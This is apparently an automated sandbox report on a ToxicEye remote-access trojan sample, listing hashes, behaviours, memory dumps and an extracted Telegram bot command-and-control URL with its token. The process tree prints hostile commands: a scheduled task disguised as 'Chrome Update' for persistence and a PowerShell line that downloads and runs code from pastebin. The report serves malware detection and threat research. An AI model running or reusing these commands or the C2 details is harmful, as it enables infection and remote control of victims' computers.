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Analysis

  • max time kernel
    9s
  • max time network
    10s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    05/01/2025, 12:32

Errors

Reason
Machine shutdown

General

  • Target

    TelegramRAT.exe

  • Size

    119KB

  • MD5

    47436ad8508cbdbede6535db163766bc

  • SHA1

    c6c6f8eb7dac9f294da1547e30c320a7d316bf52

  • SHA256

    43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0

  • SHA512

    255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c

  • SSDEEP

    3072:gAWfRzlXCwwFwOwWAmm+G/bxqH8QW8zCrAZu/tM1:gAD1SWHe/bg/p

Malware Config

Extracted

Family

toxiceye

C2

https://api.telegram.org/bot7919388970:AAGC7fUBzVyMANzjN6bhRPjR0LNTw4C5Zlo/sendMessage?chat_id=8130842755

Signatures

  • ToxicEye

    ToxicEye is a trojan written in C#.

  • Toxiceye family
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe
    "C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2840
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\tasklist.exe
        Tasklist /fi "PID eq 2840"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2956
      • C:\Windows\system32\find.exe
        find ":"
        3⤵
          PID:5000
        • C:\Windows\system32\timeout.exe
          Timeout /T 1 /Nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:712
        • C:\Users\ToxicEye\rat.exe
          "rat.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:548
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2556
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c <powershell "irm "pastebin.com/raw/1nfKw4aY" | iex">
            4⤵
              PID:3852

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat

        Filesize

        188B

        MD5

        1f04548062cbc6b9a69a32c887bde930

        SHA1

        9d481fd4138f202f9a19fa3bc1c7ae96ff6224f2

        SHA256

        7458e56f9d401c07b04df3422faa24f3337fcd6ec14632272832d0b202d3fee1

        SHA512

        b22c87c1eca2df2c32d11294b856fc088febb2aca88d41ef19c330e4a3a4aaa68e256b5fda97b3afdc975ee7a9cac8957e742f70710253244cc95c98b5140f72

      • C:\Users\ToxicEye\rat.exe

        Filesize

        119KB

        MD5

        47436ad8508cbdbede6535db163766bc

        SHA1

        c6c6f8eb7dac9f294da1547e30c320a7d316bf52

        SHA256

        43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0

        SHA512

        255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c

      • memory/548-8-0x00000233A9170000-0x00000233A921A000-memory.dmp

        Filesize

        680KB

      • memory/548-9-0x00000233A92D0000-0x00000233A9346000-memory.dmp

        Filesize

        472KB

      • memory/2840-0-0x00007FF9D48A3000-0x00007FF9D48A5000-memory.dmp

        Filesize

        8KB

      • memory/2840-1-0x000001500FBB0000-0x000001500FBD4000-memory.dmp

        Filesize

        144KB

      • memory/2840-2-0x00007FF9D48A0000-0x00007FF9D5362000-memory.dmp

        Filesize

        10.8MB

      • memory/2840-5-0x00007FF9D48A0000-0x00007FF9D5362000-memory.dmp

        Filesize

        10.8MB